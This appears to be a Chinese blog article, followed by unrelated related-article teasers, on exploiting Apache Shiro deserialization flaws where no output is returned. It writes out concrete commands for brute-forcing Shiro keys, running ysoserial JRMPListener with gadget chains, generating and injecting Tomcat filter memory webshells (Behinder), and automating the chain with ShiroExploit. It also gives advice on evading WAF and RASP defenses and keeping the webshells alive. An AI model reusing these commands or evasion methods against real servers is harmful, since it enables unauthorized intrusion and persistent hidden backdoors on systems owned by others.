当前位置: 首页 > article >正文

Shiro无回显漏洞实战:JRMP协议探测与内存马注入技巧

1. Shiro无回显漏洞的困境与突破很多安全工程师都遇到过这样的尴尬场景明明通过工具扫描发现了Shiro框架的加密密钥key但在实际利用时却发现目标系统没有任何回显。这种情况就像拿到了保险箱密码却发现箱子里空空如也让人既兴奋又沮丧。传统的有回显漏洞利用就像打固定靶能看到每次射击的结果。而无回显环境则像在黑暗中射击你甚至不知道子弹有没有打中目标。这就是为什么很多人在遇到无回显场景时会选择放弃——不是技术不行而是缺乏有效的探测手段。JRMPJava Remote Method Protocol协议的出现改变了这一局面。这个原本用于Java远程方法调用的协议在安全研究人员的巧妙改造下成为了探测无回显漏洞的利器。它的工作原理类似于回声定位我们向目标发送特定信号通过观察信号是否被正确处理来判断漏洞是否存在。2. JRMP协议探测实战详解2.1 环境准备与工具配置工欲善其事必先利其器。我们需要准备以下工具shiro_tool.jar用于Shiro密钥探测和JRMP协议检测ysoserial.jar反序列化利用框架一台具有公网IP的VPS服务器首先下载shiro_tool工具wget https://github.com/wyzxxz/shiro_rce_tool/releases/download/v1.0/shiro_tool.jar基础探测命令非常简单java -jar shiro_tool.jar http://target.com/这个命令会自动完成以下工作探测目标是否使用Shiro框架尝试爆破加密密钥检测可用的反序列化链2.2 关键参数解析与调优在实际测试中我们经常需要调整参数来提高成功率java -jar shiro_tool.jar http://target.com/ keys./keys.txt keyyour_key_herekeys参数指定密钥字典文件路径key参数直接指定已知密钥我曾在一次渗透测试中发现使用默认字典成功率只有30%左右但结合目标系统的版本信息定制字典后成功率提升到了70%。这告诉我们永远不要完全依赖工具的默认配置。2.3 结果分析与链选择当工具检测到可用链时会显示类似如下的输出发现5条可用链 [0] URLDNS [1] CommonsBeanutils1 [2] CommonsCollections5 [3] JRMPClient [4] JRMPListener对于无回显场景我们需要重点关注3和4选项——它们都是基于JRMP协议的利用链。选择JRMP链后工具会提示输入JRMP监听服务器地址这就是我们后续接收反弹shell的关键。3. 内存马注入的高级技巧3.1 ysoserial的进阶用法ysoserial不只是个反序列化工具通过适当的改造它能成为内存马注入的利器。这里推荐使用Y4er师傅的增强版java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsBeanutils192NOCC CLASS:TomcatFilterMemShellFromThread这个命令会在目标Tomcat容器中注入一个Filter型内存马。相比传统的文件上传webshell内存马有三大优势不落盘避免被杀毒软件检测重启后仍然存活针对部分中间件无需考虑文件权限问题3.2 自定义内存马开发现成的内存马可能无法满足特殊需求这时就需要自定义开发。以冰蝎内存马为例使用java-memshell-generator生成马java -jar memshell-generator.jar -t behinder -p your_password -u /special_path注入自定义马java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollections4 FILE:/path/to/your/MemShell.class我在实际项目中遇到过内存马注入成功但无法连接的情况后来发现是目标系统的ClassLoader机制特殊导致的。解决方法是在生成内存马时指定正确的父类加载器。3.3 常见问题排查内存马注入看似简单实则暗藏玄机。以下是几个常见坑点注入成功但返回404可能是路径配置错误尝试访问容器默认路由如/而非指定路径冰蝎连接时报空指针检查密码是否正确确认内存马类型与冰蝎版本匹配内存马突然失效可能是中间件自动清理机制考虑注入多个不同类型的内存马互为备份4. 自动化工具链整合4.1 ShiroExploit工具套件为了简化流程可以使用ShiroExploit工具自动化整个过程启动JRMP监听服务java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer 8181 1388配置攻击参数目标URL加密密钥JRMP服务器地址链类型选择这个工具会自动完成密钥验证、链检测和漏洞利用全过程。我在一次红队行动中用这个工具在15分钟内拿下了3台服务器效率远超手动操作。4.2 防御规避技巧在实际渗透中我们还需要考虑规避防御修改JRMP默认端口避免被安全设备识别使用非常用链如CommonsBeanutils183NOCC对内存马进行混淆处理设置特殊的触发条件如特定Header有次遇到WAF拦截我通过将JRMP端口改为443并添加TLS加密成功绕过了检测。这提醒我们工具是死的思路才是活的。5. 实战经验与深度思考在多次实战中我总结出一些宝贵经验首先不是所有Shiro环境都能用JRMP协议探测。遇到过以下几种特殊情况目标网络出站限制严格完全无法外连中间件版本特殊标准链不兼容安全设备对JRMP流量有深度检测其次内存马并非银弹。有次注入成功后目标系统每隔几小时就会自动清理内存马。后来发现是目标部署了RASP防护。解决方案是注入多个不同类型的内存马并设置定时任务定期检查存活状态。最后关于工具选择我的建议是小规模测试用手工工具更灵活大规模扫描用自动化工具更高效特殊环境可能需要定制开发技术总是在攻防对抗中不断演进。昨天还有效的技术明天可能就被防御方案针对。保持学习、深入理解原理才是应对变化的根本之道。

相关文章:

Shiro无回显漏洞实战:JRMP协议探测与内存马注入技巧

1. Shiro无回显漏洞的困境与突破 很多安全工程师都遇到过这样的尴尬场景:明明通过工具扫描发现了Shiro框架的加密密钥(key),但在实际利用时却发现目标系统没有任何回显。这种情况就像拿到了保险箱密码却发现箱子里空空如也&#x…...

国产化替代实战:银河麒麟V10+ARM平台如何绕过Docker 18限制跑KubeSphere 3.3

国产化ARM平台容器化突围:银河麒麟V10部署KubeSphere 3.3全实战指南 当国产化替代遇上云原生技术栈,技术团队往往需要在不完善的生态中寻找突破口。银河麒麟V10作为国产操作系统的代表,其ARM架构版本在部署最新版KubeSphere时面临的核心矛盾在…...

企业级NAS如何为vSphere提供高性能共享存储?ISCSI优化配置与容量监控技巧

企业级NAS与vSphere深度整合:ISCSI性能调优与智能监控实战 在虚拟化架构中,存储性能往往成为制约整体系统效率的关键瓶颈。根据实际运维数据显示,超过60%的vSphere性能问题可追溯至存储子系统配置不当。本文将深入剖析如何通过ISCSI协议实现企…...

哈工大集合论与图论慕课答案全解析(2022最新版)——附对比选项技巧

哈工大集合论与图论慕课高效学习指南:解题策略与知识点精要 引言:如何高效攻克集合论与图论慕课 集合论与图论作为计算机科学和数学的重要基础课程,在哈工大慕课平台上吸引了大量学习者。然而,许多同学在学习过程中常常陷入"…...

30 分钟生成学生成绩管理系统!飞算 JavaAI 从需求到落地实战

使用飞算 JavaAI 快速生成学生成绩管理系统 系统需求分析 学生成绩管理系统通常包含以下核心功能: 学生信息管理(增删改查)成绩录入与统计(科目、班级、个人维度)数据导出(Excel或PDF报表)用…...

从Swan语言到Scade 6:一份给嵌入式开发者的官方文档学习路线图

从Swan语言到Scade 6:嵌入式开发者的高效学习路径 当你在Swan语言的官方教程中频繁遇到"假设读者已掌握Scade 6基础"的提示时,是否感到一丝迷茫?作为嵌入式开发领域的从业者,我完全理解这种技术栈切换带来的困惑。本文将…...

别急着扔!用这3个Windows系统设置,让你的老电脑再战三年

别急着扔!用这3个Windows系统设置,让你的老电脑再战三年 手里那台老电脑开机要三分钟,开个浏览器都能卡成PPT?先别急着下单买新机。作为从业十年的系统调优师,我见过太多被"硬件升级"思维定式耽误的老设备—…...

MySQL慢查询开启与分析优化案例

一、前言1.1 什么是慢查询日志慢查询日志是MySQL提供的一种性能诊断工具,用于记录执行时间超过指定阈值的SQL语句。通过分析这些“慢SQL”,可以精准定位数据库性能瓶颈,优化索引、SQL写法或表结构。1.2 基础知识要求MySQL基础:熟悉…...

【深度学习】遥感影像变化检测:从模型演进到实战选型

1. 遥感影像变化检测:从“找不同”到“智能感知” 还记得小时候玩的“找不同”游戏吗?给你两张看似一样的图片,让你圈出其中的差异点。遥感影像变化检测,本质上就是给地球这个“大家伙”玩一场超级复杂的“找不同”游戏。只不过&a…...

redis的数据类型及java调用案例

Redis 的丰富数据类型是它能够适应多种场景的核心原因。下面我会结合 Java&#xff08;Jedis 客户端&#xff09; 的代码示例&#xff0c;为你展示每种类型的典型用法和应用场景。1. 准备工作&#xff1a;Java 连接 Redisxml<!-- Maven 依赖 --> <dependency> <…...

Nanbeige 4.1-3B清爽WebUI效果展示:支持语音输入转文字+AI回复一体化

Nanbeige 4.1-3B清爽WebUI效果展示&#xff1a;支持语音输入转文字AI回复一体化 1. 引言&#xff1a;当AI对话遇见极简美学 想象一下&#xff0c;你打开一个AI对话界面&#xff0c;看到的不是拥挤的侧边栏、死板的方形头像和密密麻麻的按钮&#xff0c;而是一个像手机短信应用…...

A*算法是路径规划领域的经典算法,但在实际应用中可能存在一些不足。为了提高效率和效果,我们可以对其进行改进

改进A*算法 算法对比 数据详细 路径规划算法 Matlab 传统A*算法 先来看传统A*算法的基本框架&#xff1a; function path aStarSearch(grid, start, goal)% 初始化优先队列priorityQueue [];% 评估函数值g zeros(size(grid));h ones(size(grid));% 父节点记录parent ze…...

保姆级教程:用Android Studio CPU Profiler分析视频播放卡顿问题(含火焰图解读技巧)

深度解析Android视频播放卡顿&#xff1a;CPU Profiler实战与火焰图精读指南 当你在开发一款视频类应用时&#xff0c;是否遇到过这样的场景&#xff1a;用户反馈播放高清视频时频繁卡顿&#xff0c;评论区充斥着"一卡一卡的"、"看着头晕"的差评&#xff1…...

Linux下frp内网穿透实战:从零搭建安全高效的远程访问通道

1. 为什么你需要frp内网穿透&#xff1f; 想象一下这个场景&#xff1a;你在家里搭建了一个NAS存储服务器&#xff0c;存满了珍贵的家庭照片和工作文档&#xff1b;或者你在办公室的Linux服务器上部署了一个内部使用的Web应用。这些服务运行得非常好&#xff0c;但有个致命问题…...

CUDA编程避坑指南:共享内存Bank Conflict的实战排查与优化(附NVIDIA Nsight工具使用)

CUDA共享内存性能调优实战&#xff1a;从Bank Conflict诊断到Nsight工具链深度解析 当你的CUDA Kernel性能提升陷入瓶颈时&#xff0c;共享内存可能是那个既熟悉又陌生的关键因素。作为GPU编程中最接近寄存器速度的内存资源&#xff0c;共享内存理论上能带来数量级的加速&…...

微信小程序滚动加载实战:如何避免列表卡顿(附完整代码)

微信小程序滚动加载实战&#xff1a;如何避免列表卡顿&#xff08;附完整代码&#xff09; 在移动互联网时代&#xff0c;用户体验的流畅度直接决定了产品的留存率。对于微信小程序开发者而言&#xff0c;列表滚动卡顿是一个常见但棘手的问题&#xff0c;尤其是在电商商品列表、…...

Mininet与OpenFlow控制器集成指南:从Floodlight到OpenDaylight

Mininet与OpenFlow控制器集成指南&#xff1a;从Floodlight到OpenDaylight 引言 在软件定义网络&#xff08;SDN&#xff09;的研究与开发中&#xff0c;Mininet作为轻量级网络仿真工具已成为不可或缺的利器。它能在单台机器上快速构建包含虚拟主机、交换机和控制器的完整网络环…...

Python新手必看:如何快速解决‘str‘ object has no attribute ‘to‘错误(附真实案例)

Python新手必看&#xff1a;如何快速解决str object has no attribute to错误&#xff08;附真实案例&#xff09; 刚接触Python编程时&#xff0c;遇到各种报错信息总是让人头疼不已。其中AttributeError: str object has no attribute to这类错误尤为常见&#xff0c;它看似简…...

YOLOv8实战:从检测框到中心坐标的精准提取与应用

1. 为什么需要提取物体中心坐标&#xff1f; 在目标检测任务中&#xff0c;我们通常使用边界框&#xff08;bounding box&#xff09;来标识物体的位置。但很多时候&#xff0c;仅仅知道物体的边界框是不够的。比如在做物体追踪时&#xff0c;我们需要一个更简洁的表示方式——…...

GME-Qwen2-VL-2B软件重构指南:识别并改善代码中的耦合过度问题

GME-Qwen2-VL-2B软件重构指南&#xff1a;识别并改善代码中的耦合过度问题 你是不是也遇到过这样的场景&#xff1f;接手一个老项目&#xff0c;想改一个功能&#xff0c;结果发现牵一发而动全身&#xff0c;改A模块的代码&#xff0c;B、C、D模块都跟着报错。或者&#xff0c…...

信号与系统实战:5个拉普拉斯变换典型例题解析(附MATLAB验证代码)

信号与系统实战&#xff1a;5个拉普拉斯变换典型例题解析&#xff08;附MATLAB验证代码&#xff09; 拉普拉斯变换作为信号与系统课程的核心工具&#xff0c;其工程价值往往被理论教学的抽象性所掩盖。许多电子信息工程专业的学生能够熟练背诵变换公式&#xff0c;却在面对实际…...

保姆级教程:用OpenVINO在Intel显卡上跑通PP-OCRv5文字识别(附环境配置避坑指南)

保姆级教程&#xff1a;用OpenVINO在Intel显卡上跑通PP-OCRv5文字识别&#xff08;附环境配置避坑指南&#xff09; 在数字化转型浪潮中&#xff0c;光学字符识别&#xff08;OCR&#xff09;技术已成为企业文档处理、票据识别和自动化办公的核心工具。飞桨推出的PP-OCRv5以其…...

【C#避坑实战系列文章08】C#并行处理资源瓶颈诊断:用PerformanceCounter定位CPU/内存热点,优化并行度与算法

1. 从监控到诊断&#xff1a;PerformanceCounter的进阶玩法 很多C#开发者都遇到过这样的场景&#xff1a;你的并行处理程序在服务器上跑得风生水起&#xff0c;突然某天运维同事怒气冲冲地找上门——"你们的服务又把服务器CPU吃满了&#xff01;"。你打开任务管理器&…...

病理图像处理新手必看:SVS和TIFF格式转换的5个实用技巧(附代码示例)

病理图像处理新手必看&#xff1a;SVS和TIFF格式转换的5个实用技巧&#xff08;附代码示例&#xff09; 在医学研究和人工智能开发领域&#xff0c;病理图像处理已成为不可或缺的关键环节。对于刚接触这一领域的研究人员和开发者来说&#xff0c;如何高效处理SVS和TIFF这两种主…...

HFSS仿真教程:用Ansys还原AirPods蓝牙天线设计(含LDS工艺参数)

HFSS仿真教程&#xff1a;用Ansys还原AirPods蓝牙天线设计&#xff08;含LDS工艺参数&#xff09; 当拆解AirPods时&#xff0c;最令人惊叹的莫过于其内部精密的天线设计——如何在如此紧凑的空间内实现稳定的蓝牙连接&#xff1f;这正是射频工程师需要掌握的三维电磁场仿真技术…...

信创实战:在麒麟V10上构建.NET 6与金仓数据库的完整应用栈

1. 环境准备&#xff1a;从零搭建国产化开发平台 第一次在麒麟V10上折腾.NET 6和金仓数据库时&#xff0c;我踩了不少坑。记得当时为了找个靠谱的安装指南&#xff0c;翻遍了各种论坛和技术文档。现在把完整流程梳理出来&#xff0c;希望能帮你少走弯路。 硬件配置建议&#xf…...

计算机组成原理实验避坑指南:原码乘法运算器的寄存器级联问题详解

计算机组成原理实验避坑指南&#xff1a;原码乘法运算器的寄存器级联问题详解 在计算机组成原理的实验课程中&#xff0c;原码乘法运算器的设计是一个经典而富有挑战性的项目。许多学生在完成这个实验时&#xff0c;往往会遇到各种意想不到的问题&#xff0c;尤其是在A寄存器和…...

Confluence数据安全指南:手动备份+定时任务全流程(附30天自动清理脚本)

Confluence数据安全实战&#xff1a;从手动备份到智能清理的完整方案 在数字化协作时代&#xff0c;Confluence作为企业知识管理的核心平台&#xff0c;承载着大量关键业务数据。一次意外的数据丢失可能导致数月的工作成果付诸东流&#xff0c;而合理的备份策略则是抵御这类风险…...

Solidworks装配体Toolbox标准件修改全攻略:从尺寸调整到材质替换

Solidworks装配体Toolbox标准件修改全攻略&#xff1a;从尺寸调整到材质替换 在机械设计领域&#xff0c;Solidworks的Toolbox标准件库堪称效率神器。但许多设计师在使用过程中都遇到过这样的困扰&#xff1a;为什么修改后的螺栓尺寸会自动还原&#xff1f;如何快速调整标准件…...

Druid连接池配置避坑指南:如何避免getConnection()无限等待导致服务崩溃

Druid连接池配置避坑指南&#xff1a;如何避免getConnection()无限等待导致服务崩溃 在微服务架构中&#xff0c;数据库连接池的配置不当往往是系统稳定性的隐形杀手。最近遇到一个典型案例&#xff1a;某电商平台的订单服务在高峰期频繁出现服务不可用&#xff0c;但日志中却没…...